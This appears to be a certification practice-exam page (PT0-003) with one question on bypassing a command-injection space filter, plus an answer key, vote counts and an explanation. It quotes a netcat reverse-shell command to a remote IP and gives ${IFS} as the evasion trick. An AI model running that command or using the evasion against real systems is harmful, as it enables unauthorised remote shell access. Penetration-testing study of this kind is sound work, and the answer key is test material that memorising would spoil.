A penetration tester is trying to bypass a command injection blocklist to exploit a remote code execution vulnerability. The tester uses the following command: nc -e /bin/sh 10.10.10.16 4444 Which of

The correct answer is A. ${IFS}. To bypass a command injection blocklist that filters out the space character, the tester can use ${IFS}. ${IFS} stands for Internal Field Separator in Unix-like systems, which by default is set to space, tab, and newline characters.

Submitted by ricky.ec· Mar 6, 2026Attacks and Exploits

Question

A penetration tester is trying to bypass a command injection blocklist to exploit a remote code execution vulnerability. The tester uses the following command:

nc -e /bin/sh 10.10.10.16 4444 Which of the following would most likely bypass the filtered space character?

Options

A${IFS}
B%0a
C
D%20

How the community answered

(32 responses)

A
91% (29)
B
6% (2)
D
3% (1)

Explanation

To bypass a command injection blocklist that filters out the space character, the tester can use ${IFS}. ${IFS} stands for Internal Field Separator in Unix-like systems, which by default is set to space, tab, and newline characters.

Topics

#command injection#web application exploits#bypass techniques#shell scripting

Community Discussion

No community discussion yet for this question.

Full PT0-003 Practice